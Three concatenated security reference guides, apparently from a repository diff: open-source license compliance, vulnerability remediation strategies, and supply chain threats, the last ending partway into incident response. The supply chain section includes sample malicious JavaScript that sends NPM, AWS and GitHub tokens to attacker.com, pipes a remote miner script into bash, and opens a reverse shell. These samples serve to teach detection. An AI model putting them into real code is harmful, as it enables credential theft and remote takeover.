- No attribution required (though recommended)
**Business Impact**: MINIMAL
- Safest for commercial use
- No compliance obligations
## Common Open Source Licenses
### Permissive Licenses
#### MIT License
**SPDX**: MIT
**OSI Approved**: Yes
**Risk Level**: LOW
**Permissions**: Commercial use, modification, distribution, private use
**Conditions**: Include license and copyright notice
**Limitations**: No liability, no warranty
**Common in**: JavaScript (React, Angular), Ruby (Rails)
**Compliance Checklist**:
- [ ] Include LICENSE file in distribution
- [ ] Preserve copyright notices in source files
- [ ] Credit in ABOUT/CREDITS file
#### Apache License 2.0
**SPDX**: Apache-2.0
**OSI Approved**: Yes
**Risk Level**: LOW
**Permissions**: Same as MIT, plus explicit patent grant
**Conditions**: Include license, preserve NOTICE file, state changes
**Limitations**: No trademark use, no liability
**Common in**: Java (Spring), Big Data (Hadoop, Kafka)
**Key Difference from MIT**: Patent protection clause
**Compliance Checklist**:
- [ ] Include LICENSE file
- [ ] Include NOTICE file if present
- [ ] Document modifications
- [ ] Don't use project trademarks
#### BSD Licenses (2-Clause and 3-Clause)
**SPDX**: BSD-2-Clause, BSD-3-Clause
**OSI Approved**: Yes
**Risk Level**: LOW
**3-Clause Addition**: No endorsement using project name
**Common in**: Unix utilities, networking libraries
**Compliance Checklist**:
- [ ] Include license text
- [ ] Preserve copyright notices
- [ ] BSD-3: No unauthorized endorsements
### Weak Copyleft Licenses
#### GNU LGPL 2.1 / 3.0
**SPDX**: LGPL-2.1, LGPL-3.0
**OSI Approved**: Yes
**Risk Level**: MEDIUM
**Safe Usage Patterns**:
1. **Dynamic Linking**: Link as shared library without modification
2. **Unmodified Use**: Use library as-is without code changes
3. **Separate Component**: Keep as distinct, replaceable module
**Unsafe Usage Patterns**:
1. **Static Linking**: Compiling LGPL code into proprietary binary
2. **Modifications**: Changing LGPL library code
3. **Intimate Integration**: Tightly coupling with proprietary code
**Common in**: GTK, glibc, Qt (dual-licensed)
**Compliance for Unmodified Use**:
- [ ] Provide library source code or offer to provide
- [ ] Allow users to replace library
- [ ] Include license text
**Compliance for Modifications**:
- [ ] Release modifications under LGPL
- [ ] Provide modified source code
- [ ] Document changes
#### Mozilla Public License 2.0
**SPDX**: MPL-2.0
**OSI Approved**: Yes
**Risk Level**: MEDIUM
**File-Level Copyleft**: Only modified files must remain MPL
**Common in**: Firefox, Rust standard library
**Compliance**:
- [ ] Keep MPL files in separate files
- [ ] Release modifications to MPL files
- [ ] May combine with proprietary code at module level
### Strong Copyleft Licenses
#### GNU GPL 2.0 / 3.0
**SPDX**: GPL-2.0, GPL-3.0
**OSI Approved**: Yes
**Risk Level**: HIGH
**Copyleft Scope**: Entire program must be GPL
**Key Differences**:
- **GPL-3.0**: Added anti-tivoization, patent provisions
- **GPL-2.0**: More permissive for hardware restrictions
**Common in**: Linux kernel (GPL-2.0), many GNU tools
**When GPL is Acceptable**:
1. **Internal Use**: Not distributed outside organization
2. **Network Boundary**: Separate GPL service (API-based)
3. **Dual-Licensed**: Use commercial license option
**Compliance if Using**:
- [ ] Entire program must be GPL-compatible
- [ ] Provide source code to recipients
- [ ] Include license and build instructions
#### GNU AGPL 3.0
**SPDX**: AGPL-3.0
**OSI Approved**: Yes
**Risk Level**: CRITICAL for SaaS
**Network Copyleft**: Source code required even for network use
**Common in**: Some database tools, server software
**Critical for**: SaaS, web applications, APIs
**Avoid Unless**: Prepared to open-source entire application
### Proprietary / Commercial Licenses
**Risk Level**: VARIES (requires legal review)
**Common Scenarios**:
- Evaluation/trial licenses (non-production)
- Dual-licensed (commercial option available)
- Runtime licenses (e.g., database drivers)
**Compliance**: Follow vendor-specific terms
## License Compatibility
### Compatibility Matrix
| Your Project | MIT | Apache-2.0 | LGPL | GPL | AGPL |
|--------------|-----|-----------|------|-----|------|
| Proprietary | ✅ | ✅ | ⚠️ | ❌ | ❌ |
| MIT | ✅ | ✅ | ⚠️ | ❌ | ❌ |
| Apache-2.0 | ✅ | ✅ | ⚠️ | ⚠️ | ❌ |
| LGPL | ✅ | ✅ | ✅ | ⚠️ | ❌ |
| GPL | ✅ | ⚠️ | ✅ | ✅ | ⚠️ |
| AGPL | ✅ | ⚠️ | ✅ | ✅ | ✅ |
**Legend**:
- ✅ Compatible
- ⚠️ Compatible with conditions
- ❌ Incompatible
### Common Incompatibilities
**Apache-2.0 with GPL-2.0**:
- Issue: GPL-2.0 doesn't have explicit patent grant
- Solution: Use GPL-3.0 instead (compatible with Apache-2.0)
**GPL with Proprietary**:
- Issue: GPL requires derivative works be GPL
- Solution: Keep as separate program, use network boundary
**AGPL with SaaS**:
- Issue: AGPL triggers on network use
- Solution: Avoid AGPL or use commercial license
## Compliance Workflows
### Initial License Assessment
1. **Scan Dependencies**
```bash
scripts/blackduck_scan.py --project MyApp --version 1.0.0 --report-type license
```
2. **Categorize Licenses by Risk**
- Review all HIGH risk licenses immediately
- Assess MEDIUM risk licenses for compliance requirements
- Document LOW risk licenses for attribution
3. **Legal Review**
- Escalate HIGH risk licenses to legal team
- Get approval for MEDIUM risk usage patterns
- Document decisions
### Continuous License Monitoring
**In CI/CD Pipeline**:
```yaml
# GitHub Actions example
- name: License Compliance Check
run: |
scripts/blackduck_scan.py \
--project ${{ github.repository }} \
--version ${{ github.sha }} \
--report-type license \
--fail-on-blocklisted-licenses
```
**Policy Enforcement**:
- Block builds with GPL/AGPL dependencies
- Require approval for new LGPL dependencies
- Auto-approve MIT/Apache-2.0
### License Remediation
**For High-Risk Licenses**:
1. **Replace Component**
- Find MIT/Apache alternative
- Example: MySQL (GPL) → PostgreSQL (PostgreSQL License - permissive)
2. **Commercial License**
- Purchase commercial license if available
- Example: Qt (LGPL or Commercial)
3. **Separate Service**
- Run GPL component as separate service
- Communicate via API/network
4. **Remove Dependency**
- Implement functionality directly
- Use different approach
### Attribution and Notices
**Required Artifacts**:
**LICENSES.txt** - All license texts:
```
This software includes the following third-party components:
1. Component Name v1.0.0
License: MIT
Copyright (c) 2024 Author
[Full license text]
2. Another Component v2.0.0
License: Apache-2.0
[Full license text]
```
**NOTICE.txt** - Attribution notices (if Apache-2.0 dependencies):
```
This product includes software developed by
The Apache Software Foundation (http://www.apache.org/).
[Additional NOTICE content from Apache-licensed dependencies]
```
**UI/About Screen**:
- List major third-party components
- Link to full license information
- Provide "Open Source Licenses" section
## Legal Considerations
### When to Consult Legal Counsel
**Always Consult for**:
- GPL/AGPL in commercial products
- Dual-licensing decisions
- Patent-related concerns
- Proprietary license negotiations
- M&A due diligence
- License violations/disputes
### Common Legal Questions
**Q: Can I use GPL code in a SaaS application?**
A: GPL-2.0/3.0 yes (no distribution), AGPL-3.0 no (network use triggers copyleft)
**Q: What if I modify an MIT-licensed library?**
A: You can keep modifications proprietary, just preserve MIT license
**Q: Can I remove license headers from code?**
A: No, preserve all copyright and license notices
**Q: What's the difference between "linking" and "use"?**
A: Legal concept varies by jurisdiction; consult attorney for specific cases
### Audit and Compliance Documentation
**Maintain Records**:
- Complete SBOM with license information
- License review approvals
- Component selection rationale
- Exception approvals with expiration dates
**Quarterly Review**:
- Update license inventory
- Review new dependencies
- Renew/revoke exceptions
- Update attribution files
## Tools and Resources
**Black Duck Features**:
- Automated license detection
- License risk categorization
- Policy enforcement
- Bill of Materials with licenses
**Additional Tools**:
- FOSSA - License compliance automation
- WhiteSource - License management
- Snyk - License scanning
**Resources**:
- [SPDX License List](https://spdx.org/licenses/)
- [Choose A License](https://choosealicense.com/)
- [TL;DR Legal](https://tldrlegal.com/)
- [OSI Approved Licenses](https://opensource.org/licenses)
## License Risk Scorecard Template
```markdown
# License Risk Assessment: [Component Name]
**Component**: component-name@version
**License**: [SPDX ID]
**Risk Level**: [HIGH/MEDIUM/LOW]
## Usage Context
- [ ] Used in distributed product
- [ ] Used in SaaS/cloud service
- [ ] Internal tool only
- [ ] Modifications made: [Yes/No]
## Risk Assessment
- **Copyleft Trigger**: [Yes/No/Conditional]
- **Patent Concerns**: [Yes/No]
- **Commercial Use Allowed**: [Yes/No]
## Compliance Requirements
- [ ] Include license text
- [ ] Provide source code
- [ ] Include NOTICE file
- [ ] Preserve copyright notices
- [ ] Other: _______
## Decision
- [X] Approved for use
- [ ] Requires commercial license
- [ ] Find alternative
- [ ] Legal review pending
**Approved By**: [Name, Date]
**Review Date**: [Date]
```
## References
- [Open Source Initiative](https://opensource.org/)
- [Free Software Foundation](https://www.fsf.org/licensing/)
- [Linux Foundation - Open Compliance Program](https://www.linuxfoundation.org/projects/open-compliance)
- [Google Open Source License Guide](https://opensource.google/documentation/reference/thirdparty/licenses)

View File

@@ -0,0 +1,496 @@
# Vulnerability Remediation Strategies
## Table of Contents
- [Remediation Decision Framework](#remediation-decision-framework)
- [Strategy 1: Upgrade to Fixed Version](#strategy-1-upgrade-to-fixed-version)
- [Strategy 2: Apply Security Patch](#strategy-2-apply-security-patch)
- [Strategy 3: Replace Component](#strategy-3-replace-component)
- [Strategy 4: Implement Mitigations](#strategy-4-implement-mitigations)
- [Strategy 5: Risk Acceptance](#strategy-5-risk-acceptance)
- [Language-Specific Guidance](#language-specific-guidance)
## Remediation Decision Framework
```
Is patch/upgrade available?
├─ Yes → Can we upgrade without breaking changes?
│ ├─ Yes → UPGRADE (Strategy 1)
│ └─ No → Are breaking changes acceptable?
│ ├─ Yes → UPGRADE with refactoring (Strategy 1)
│ └─ No → Can we apply patch? (Strategy 2)
│ ├─ Yes → PATCH
│ └─ No → REPLACE or MITIGATE (Strategy 3/4)
└─ No → Is vulnerability exploitable in our context?
├─ Yes → Can we replace component?
│ ├─ Yes → REPLACE (Strategy 3)
│ └─ No → MITIGATE (Strategy 4)
└─ No → ACCEPT with justification (Strategy 5)
```
## Strategy 1: Upgrade to Fixed Version
**When to use**: Patch available in newer version, upgrade path is clear
**Priority**: HIGHEST - This is the preferred remediation method
### Upgrade Process
1. **Identify Fixed Version**
```bash
# Check Black Duck scan results for fixed version
# Verify in CVE database or component changelog
```
2. **Review Breaking Changes**
- Read release notes and changelog
- Check migration guides
- Review API changes and deprecations
3. **Update Dependency**
**Node.js/npm**:
```bash
npm install package-name@fixed-version
npm audit fix # Auto-fix where possible
```
**Python/pip**:
```bash
pip install package-name==fixed-version
pip-audit --fix # Auto-fix vulnerabilities
```
**Java/Maven**:
```xml
<dependency>
<groupId>org.example</groupId>
<artifactId>vulnerable-lib</artifactId>
<version>fixed-version</version>
</dependency>
```
**Ruby/Bundler**:
```bash
bundle update package-name
```
**.NET/NuGet**:
```bash
dotnet add package PackageName --version fixed-version
```
4. **Test Thoroughly**
- Run existing test suite
- Test affected functionality
- Perform integration testing
- Consider security-specific test cases
5. **Re-scan**
```bash
scripts/blackduck_scan.py --project MyApp --version 1.0.1
```
### Handling Breaking Changes
**Minor Breaking Changes**: Acceptable for security fixes
- Update function calls to new API
- Adjust configuration for new defaults
- Update type definitions
**Major Breaking Changes**: Requires planning
- Create feature branch for upgrade
- Refactor code incrementally
- Use adapter pattern for compatibility
- Consider gradual rollout
**Incompatible Changes**: May require alternative strategy
- Evaluate business impact
- Consider Strategy 3 (Replace)
- If critical, implement Strategy 4 (Mitigate) temporarily
## Strategy 2: Apply Security Patch
**When to use**: Vendor provides patch without full version upgrade
**Priority**: HIGH - Use when full upgrade is not feasible
### Patch Types
**Backported Patches**:
- Vendor provides patch for older version
- Common in LTS/enterprise distributions
- Apply using vendor's instructions
**Custom Patches**:
- Create patch from upstream fix
- Test extensively before deployment
- Document patch application process
### Patch Application Process
1. **Obtain Patch**
- Vendor security advisory
- GitHub commit/pull request
- Security mailing list
2. **Validate Patch**
```bash
# Review patch contents
git diff vulnerable-version..patched-version -- affected-file.js
# Verify patch signature if available
gpg --verify patch.sig patch.diff
```
3. **Apply Patch**
**Git-based**:
```bash
# Apply patch from file
git apply security-patch.diff
# Or cherry-pick specific commit
git cherry-pick security-fix-commit-sha
```
**Package manager overlay**:
```bash
# npm patch-package
npx patch-package package-name
# pip with local modifications
pip install -e ./patched-package
```
4. **Test and Verify**
- Verify vulnerability is fixed
- Run security scan
- Test functionality
5. **Document Patch**
- Create internal documentation
- Add to dependency management notes
- Set reminder for proper upgrade
## Strategy 3: Replace Component
**When to use**: No fix available, or component is unmaintained
**Priority**: MEDIUM-HIGH - Architectural change required
### Replacement Process
1. **Identify Alternatives**
**Evaluation Criteria**:
- Active maintenance (recent commits, releases)
- Security track record
- Community size and support
- Feature parity
- License compatibility
- Performance characteristics
**Research Sources**:
- Black Duck component quality metrics
- GitHub stars/forks/issues
- Security advisories history
- StackOverflow activity
- Production usage at scale
2. **Select Replacement**
**Example Replacements**:
| Vulnerable Component | Alternative | Reason |
|---------------------|-------------|--------|
| moment.js | date-fns, dayjs | No longer maintained |
| request (npm) | axios, node-fetch | Deprecated |
| xml2js | fast-xml-parser | XXE vulnerabilities |
| lodash (full) | lodash-es (specific functions) | Reduce attack surface |
3. **Plan Migration**
- Map API differences
- Identify all usage locations
- Create compatibility layer if needed
- Plan gradual migration if large codebase
4. **Execute Replacement**
```bash
# Remove vulnerable component
npm uninstall vulnerable-package
# Install replacement
npm install secure-alternative
# Update imports/requires across codebase
# Use tools like jscodeshift for automated refactoring
```
5. **Verify**
- Scan for residual references
- Test all affected code paths
- Re-scan with Black Duck
## Strategy 4: Implement Mitigations
**When to use**: No fix/replacement available, vulnerability cannot be eliminated
**Priority**: MEDIUM - Compensating controls required
### Mitigation Techniques
#### Input Validation and Sanitization
For injection vulnerabilities:
```javascript
// Before: Vulnerable to injection
const result = eval(userInput);
// Mitigation: Strict validation and safe alternatives
const allowlist = ['option1', 'option2'];
if (!allowlist.includes(userInput)) {
throw new Error('Invalid input');
}
const result = safeEvaluate(userInput);
```
#### Network Segmentation
For RCE/SSRF vulnerabilities:
- Deploy vulnerable component in isolated network segment
- Restrict outbound network access
- Use Web Application Firewall (WAF) rules
- Implement egress filtering
#### Access Controls
For authentication/authorization bypasses:
```python
# Additional validation layer
@require_additional_auth
def sensitive_operation():
# Vulnerable library call
vulnerable_lib.do_operation()
```
#### Runtime Protection
**Application Security Tools**:
- RASP (Runtime Application Self-Protection)
- Virtual patching via WAF
- Container security policies
**Example - WAF Rule**:
```nginx
# ModSecurity rule to block exploitation attempt
SecRule REQUEST_URI "@rx /vulnerable-endpoint" \
"id:1001,phase:1,deny,status:403,\
msg:'Blocked access to vulnerable component'"
```
#### Minimize Attack Surface
**Disable Vulnerable Features**:
```xml
<!-- Disable XXE in XML parser -->
<bean class="javax.xml.parsers.DocumentBuilderFactory">
<property name="features">
<map>
<entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>
<entry key="http://xml.org/sax/features/external-general-entities" value="false"/>
</map>
</property>
</bean>
```
**Remove Unused Code**:
```bash
# Remove unused dependencies
npm prune
pip-autoremove
# Tree-shake unused code
webpack --mode production # Removes unused exports
```
### Monitoring and Detection
Implement enhanced monitoring for vulnerable components:
```python
# Example: Log and alert on vulnerable code path usage
import logging
def wrap_vulnerable_function(original_func):
def wrapper(*args, **kwargs):
logging.warning(
"SECURITY: Vulnerable function called",
extra={
"function": original_func.__name__,
"args": args,
"caller": inspect.stack()[1]
}
)
# Alert security team
send_security_alert("Vulnerable code path executed")
return original_func(*args, **kwargs)
return wrapper
# Apply wrapper
vulnerable_lib.dangerous_function = wrap_vulnerable_function(
vulnerable_lib.dangerous_function
)
```
## Strategy 5: Risk Acceptance
**When to use**: Vulnerability is not exploitable in your context, or risk is acceptable
**Priority**: LOWEST - Only after thorough risk analysis
### Risk Acceptance Criteria
**Acceptable when ALL of these are true**:
1. Vulnerability is not exploitable in deployment context
2. Attack requires significant preconditions (e.g., admin access)
3. Vulnerable code path is never executed
4. Impact is negligible even if exploited
5. Mitigation cost exceeds risk
### Risk Acceptance Process
1. **Document Justification**
```markdown
# Risk Acceptance: CVE-2023-XXXXX in component-name
**Vulnerability**: SQL Injection in admin panel
**CVSS Score**: 8.5 (HIGH)
**Component**: admin-dashboard@1.2.3
**Justification for Acceptance**:
- Admin panel is only accessible to authenticated administrators
- Additional authentication layer required (2FA)
- Network access restricted to internal network only
- No sensitive data accessible via this component
- Monitoring in place for suspicious activity
**Mitigation Controls**:
- WAF rules blocking SQL injection patterns
- Enhanced logging on admin endpoints
- Network segmentation
- Regular security audits
**Review Date**: 2024-06-01
**Approved By**: CISO, Security Team Lead
**Next Review**: 2024-09-01
```
2. **Implement Compensating Controls**
- Enhanced monitoring
- Additional authentication layers
- Network restrictions
- Regular security reviews
3. **Set Review Schedule**
- Quarterly reviews for HIGH/CRITICAL
- Semi-annual for MEDIUM
- Annual for LOW
4. **Track in Black Duck**
```bash
# Mark as accepted risk in Black Duck with expiration
# Use Black Duck UI or API to create policy exception
```
## Language-Specific Guidance
### JavaScript/Node.js
**Tools**:
- `npm audit` - Built-in vulnerability scanner
- `npm audit fix` - Automatic remediation
- `yarn audit` - Yarn's vulnerability scanner
- `snyk` - Commercial SCA tool
**Best Practices**:
- Lock dependencies with `package-lock.json`
- Use `npm ci` in CI/CD for reproducible builds
- Audit transitive dependencies
- Consider `npm-force-resolutions` for forcing versions
### Python
**Tools**:
- `pip-audit` - Scan for vulnerabilities
- `safety` - Check against vulnerability database
- `pip-check` - Verify package compatibility
**Best Practices**:
- Use `requirements.txt` and `pip freeze`
- Pin exact versions for security-critical deps
- Use virtual environments
- Consider `pip-tools` for dependency management
### Java
**Tools**:
- OWASP Dependency-Check
- Snyk for Java
- Black Duck (commercial)
**Best Practices**:
- Use dependency management (Maven, Gradle)
- Lock versions in `pom.xml` or `build.gradle`
- Scan with `mvn dependency:tree` for transitive deps
- Use Maven Enforcer Plugin for version policies
### .NET
**Tools**:
- `dotnet list package --vulnerable`
- OWASP Dependency-Check
- WhiteSource Bolt
**Best Practices**:
- Use `PackageReference` in project files
- Lock versions with `packages.lock.json`
- Enable NuGet package validation
- Use `dotnet outdated` to track updates
### Ruby
**Tools**:
- `bundle audit` - Check for vulnerabilities
- `bundler-audit` - Automated checking
**Best Practices**:
- Use `Gemfile.lock` for reproducible deps
- Run `bundle audit` in CI/CD
- Update regularly with `bundle update`
- Use pessimistic version constraints
## Remediation Workflow Checklist
For each vulnerability:
- [ ] Identify vulnerability details (CVE, CVSS, affected versions)
- [ ] Determine if vulnerability is exploitable in your context
- [ ] Check for fixed version or patch availability
- [ ] Assess upgrade/patch complexity and breaking changes
- [ ] Select remediation strategy (Upgrade/Patch/Replace/Mitigate/Accept)
- [ ] Create remediation plan with timeline
- [ ] Execute remediation
- [ ] Test thoroughly (functionality + security)
- [ ] Re-scan with Black Duck to confirm fix
- [ ] Document changes and lessons learned
- [ ] Deploy to production with rollback plan
- [ ] Monitor for issues post-deployment
## References
- [NIST Vulnerability Management Guide](https://nvd.nist.gov/)
- [OWASP Dependency Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [Snyk Vulnerability Database](https://security.snyk.io/)

View File

@@ -0,0 +1,588 @@
# Supply Chain Security Threats
## Table of Contents
- [Threat Overview](#threat-overview)
- [Attack Vectors](#attack-vectors)
- [Detection Strategies](#detection-strategies)
- [Prevention and Mitigation](#prevention-and-mitigation)
- [Incident Response](#incident-response)
## Threat Overview
Supply chain attacks target the software dependency ecosystem to compromise applications through malicious or vulnerable third-party components.
**Impact**: Critical - can affect thousands of downstream users
**Trend**: Increasing rapidly (651% increase 2021-2022)
**MITRE ATT&CK**: T1195 - Supply Chain Compromise
### Attack Categories
1. **Compromised Dependencies** - Legitimate packages backdoored by attackers
2. **Typosquatting** - Malicious packages with similar names
3. **Dependency Confusion** - Exploiting package resolution order
4. **Malicious Maintainers** - Attackers become maintainers
5. **Build System Compromise** - Injection during build/release process
## Attack Vectors
### 1. Dependency Confusion
**MITRE ATT&CK**: T1195.001
**CWE**: CWE-494 (Download of Code Without Integrity Check)
**Attack Description**:
Attackers publish malicious packages to public registries with same name as internal packages. Package managers may install public version instead of internal.
**Real-World Examples**:
- **2021**: Researcher demonstrated by uploading packages mimicking internal names at Microsoft, Apple, PayPal
- **Impact**: Potential code execution on build servers
**Attack Pattern**:
```
Internal Package Registry (private):
- company-auth-lib@1.0.0
Public Registry (npmjs.com):
- company-auth-lib@99.0.0 (MALICIOUS)
Package manager resolution:
npm install company-auth-lib
→ Installs v99.0.0 from public registry (higher version)
```
**Detection with Black Duck**:
- Unexpected package source changes
- Version spikes (jumping from 1.x to 99.x)
- Multiple registries for same package
- New publishers for established packages
**Prevention**:
```bash
# npm - use scoped packages for internal code
npm config set @company:registry https://npm.internal.company.com
# Configure .npmrc to prefer internal registry
@company:registry=https://npm.internal.company.com
registry=https://registry.npmjs.org
# Python - use index-url for internal PyPI
pip install --index-url https://pypi.internal.company.com package-name
# Maven - repository order matters
<repositories>
<repository>
<id>company-internal</id>
<url>https://maven.internal.company.com</url>
</repository>
</repositories>
```
**Mitigation**:
- Use scoped/namespaced packages (@company/package-name)
- Configure package manager to prefer internal registry
- Reserve public names for internal packages
- Implement allowlists for external packages
- Pin dependency versions
### 2. Typosquatting
**MITRE ATT&CK**: T1195.001
**CWE**: CWE-829 (Untrusted Control Sphere)
**Attack Description**:
Malicious packages with names similar to popular packages, relying on typos during installation.
**Real-World Examples**:
- **crossenv** (mimicking cross-env) - 700+ downloads before removal
- **electorn** (mimicking electron) - credential stealer
- **python3-dateutil** (mimicking python-dateutil) - cryptominer
**Common Typosquatting Patterns**:
- Missing/extra character: `reqeusts` vs `requests`
- Substituted character: `requsts` vs `requests`
- Transposed characters: `reqeusts` vs `requests`
- Homoglyphs: `requ𝗲sts` vs `requests` (Unicode lookalikes)
- Namespace confusion: `@npm/lodash` vs `lodash`
**Detection**:
- Levenshtein distance analysis on new dependencies
- Check package popularity and age
- Review package maintainer history
- Verify package repository URL
**Black Duck Detection**:
```python
# Component quality indicators
- Download count (typosquats typically low)
- Creation date (recent for established functionality)
- Maintainer reputation
- GitHub stars/forks (legitimate packages have more)
```
**Prevention**:
- Use dependency lock files (package-lock.json, yarn.lock)
- Code review for new dependencies
- Automated typosquatting detection tools
- IDE autocomplete from verified sources
### 3. Compromised Maintainer Accounts
**MITRE ATT&CK**: T1195.002
**CWE**: CWE-1294 (Insecure Security Identifier)
**Attack Description**:
Attackers gain access to legitimate maintainer accounts through credential compromise, then publish malicious versions.
**Real-World Examples**:
- **event-stream (2018)**: Maintainer handed over to attacker, malicious code added
- **ua-parser-js (2021)**: Hijacked to deploy cryptocurrency miner
- **coa, rc (2021)**: Password spraying attack on maintainer accounts
**Attack Indicators**:
- Unexpected version releases
- New maintainers added
- Changed package repository URLs
- Sudden dependency additions
- Obfuscated code in updates
- Behavioral changes (network calls, file system access)
**Detection with Black Duck**:
```
Monitor for:
- Maintainer changes
- Unusual release patterns
- Security score degradation
- New external dependencies
- Build process changes
```
**Prevention**:
- Enable 2FA/MFA for registry accounts
- Use hardware security keys
- Registry account monitoring/alerts
- Code signing for packages
- Review release process changes
### 4. Malicious Dependencies (Direct Injection)
**MITRE ATT&CK**: T1195.001
**Attack Description**:
Entirely malicious packages created by attackers, often using SEO or social engineering to drive adoption.
**Real-World Examples**:
- **event-stream → flatmap-stream (2018)**: Injected Bitcoin wallet stealer
- **bootstrap-sass (malicious version)**: Credential harvester
- **eslint-scope (2018)**: Credential stealer via compromised account
**Common Malicious Behaviors**:
- Credential harvesting (env vars, config files)
- Cryptocurrency mining
- Backdoor installation
- Data exfiltration
- Command & control communication
**Example Malicious Code Patterns**:
```javascript
// Environment variable exfiltration
const secrets = {
npm_token: process.env.NPM_TOKEN,
aws_key: process.env.AWS_ACCESS_KEY_ID,
github_token: process.env.GITHUB_TOKEN
};
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(secrets)
});
// Cryptocurrency miner
const { exec } = require('child_process');
exec('curl http://attacker.com/miner.sh | bash');
// Backdoor
const net = require('net');
const { spawn } = require('child_process');
const shell = spawn('/bin/bash', []);
net.connect(4444, 'attacker.com', function() {
this.pipe(shell.stdin);
shell.stdout.pipe(this);
});
```
**Detection**:
- Network activity during install (install scripts shouldn't make external calls)
- File system modifications outside package directory
- Process spawning during installation
- Obfuscated or minified code in source packages
- Suspicious dependencies for package scope
**Black Duck Indicators**:
- Low community adoption for claimed functionality
- Recent creation date
- Lack of GitHub repository or activity
- Poor code quality metrics
- No documentation or minimal README
### 5. Build System Compromise
**MITRE ATT&CK**: T1195.003
**CWE**: CWE-494
**Attack Description**:
Compromising the build or release infrastructure to inject malicious code during the build process.
**Real-World Examples**:
- **SolarWinds (2020)**: Build system compromise led to trojanized software updates
- **Codecov (2021)**: Bash uploader script modified to exfiltrate credentials
**Attack Vectors**:
- Compromised CI/CD credentials
- Malicious CI/CD pipeline configurations
- Compromised build dependencies
- Registry credential theft during build
- Artifact repository compromise
**Detection**:
- Reproducible builds (verify build output matches)
- Build artifact signing and verification
- Supply chain levels for software artifacts (SLSA)
- Build provenance tracking
**Prevention**:
- Secure CI/CD infrastructure
- Minimal build environment (containers)
- Secret management (avoid env vars in logs)
- Build isolation and sandboxing
- SBOM generation at build time
## Detection Strategies
### Static Analysis Indicators
**Package Metadata Analysis**:
```python
# Black Duck provides these metrics
suspicious_indicators = {
"recent_creation": age_days < 30,
"low_adoption": downloads < 100,
"no_repository": github_url == None,
"new_maintainer": maintainer_age < 90,
"version_spike": version > expected + 50,
"abandoned": last_update_days > 730
}
```
### Behavioral Analysis
**Runtime Monitoring**:
- Network connections during install
- File system access outside package directory
- Process spawning (especially child processes)
- Environment variable access
- Encrypted/obfuscated payloads
**Example Detection Script**:
```bash
#!/bin/bash
# Monitor package installation for suspicious behavior
strace -f -e trace=network,process,file npm install suspicious-package 2>&1 | \
grep -E "(connect|sendto|execve|openat)" | \
grep -v "npmjs.org\|yarnpkg.com" # Exclude legitimate registries
# Any network activity to non-registry domains during install is suspicious
```
### Dependency Graph Analysis
**Transitive Dependency Risk**:
```
Your App
├── legitimate-package@1.0.0
│ └── utility-lib@2.0.0 (✓ Safe)
│ └── string-helper@1.0.0 (⚠️ Recently added)
│ └── unknown-package@99.0.0 (❌ SUSPICIOUS)
```
**Black Duck Features**:
- Full dependency tree visualization
- Transitive vulnerability detection
- Component risk scoring
- Supply chain risk assessment
## Prevention and Mitigation
### 1. Dependency Vetting Process
**Before Adding Dependency**:
```markdown
# Dependency Vetting Checklist
- [ ] Active maintenance (commits within 3 months)
- [ ] Sufficient adoption (downloads, GitHub stars)
- [ ] Code repository available and reviewed
- [ ] Recent security audit or assessment
- [ ] Compatible license
- [ ] Minimal transitive dependencies
- [ ] No known vulnerabilities (Black Duck scan)
- [ ] Maintainer reputation verified
- [ ] Reasonable package size
- [ ] Documentation quality adequate
```
**Automated Checks**:
```bash
#!/bin/bash
# Automated dependency vetting
PACKAGE=$1
# Check age and popularity
npm view $PACKAGE time.created downloads
# Check for known vulnerabilities
npm audit
# Black Duck scan
scripts/blackduck_scan.py --project temp-vet --version 1.0.0
# Check for typosquatting
python3 -c "
import Levenshtein
from package_registry import get_popular_packages
popular = get_popular_packages()
for pkg in popular:
distance = Levenshtein.distance('$PACKAGE', pkg)
if distance <= 2:
print(f'⚠️ Similar to {pkg} (distance: {distance})')
"
```
### 2. Dependency Pinning and Lock Files
**Always use lock files**:
```json
// package.json - use exact versions for security-critical deps
{
"dependencies": {
"critical-auth-lib": "1.2.3", // Exact version
"utility-lib": "^2.0.0" // Allow minor updates
}
}
```
**Commit lock files**:
- package-lock.json (npm)
- yarn.lock (Yarn)
- Pipfile.lock (Python)
- Gemfile.lock (Ruby)
- go.sum (Go)
### 3. Subresource Integrity (SRI)
**For CDN-loaded dependencies**:
```html
<!-- Use SRI hashes for external scripts -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous">
</script>
```
### 4. Private Package Registry
**Benefits**:
- Control over approved packages
- Caching for availability
- Internal package distribution
- Security scanning integration
**Solutions**:
- Artifactory (JFrog)
- Nexus Repository
- Azure Artifacts
- AWS CodeArtifact
- GitHub Packages
**Configuration Example (npm)**:
```bash
# .npmrc
registry=https://artifactory.company.com/api/npm/npm-virtual/
@company:registry=https://artifactory.company.com/api/npm/npm-internal/
# Always authenticate
always-auth=true
```
### 5. Continuous Monitoring
**Automated Scanning**:
```yaml
# .github/workflows/dependency-scan.yml
name: Dependency Security Scan
on:
schedule:
- cron: '0 0 * * *' # Daily
pull_request:
push:
branches: [main]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Black Duck Scan
run: |
scripts/blackduck_scan.py \
--project ${{ github.repository }} \
--version ${{ github.sha }} \
--fail-on-policy
- name: Check for new dependencies
run: |
git diff origin/main -- package.json | \
grep "^+" | grep -v "^+++" | \
while read line; do
echo "⚠️ New dependency requires review: $line"
done
```
### 6. Runtime Protection
**Application-level**:
```javascript
// Freeze object prototypes to prevent pollution
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
// Restrict network access for dependencies (if possible)
// Use Content Security Policy (CSP) for web apps
// Monitor unexpected behavior
process.on('warning', (warning) => {
if (warning.name === 'DeprecationWarning') {
// Log and alert on deprecated API usage
securityLog.warn('Deprecated API used', { warning });
}
});
```
**Container-level**:
```dockerfile
# Use minimal base images
FROM node:18-alpine
# Run as non-root
USER node
# Read-only file system where possible
VOLUME /app
WORKDIR /app
# No network access during build
RUN --network=none npm ci
```
## Incident Response
### Detection Phase
**Indicators of Compromise**:
1. Black Duck alerts on component changes
2. Unexpected network traffic from application
3. CPU/memory spikes (cryptocurrency mining)
4. Security tool alerts
5. Credential compromise reports
6. Customer reports of suspicious behavior
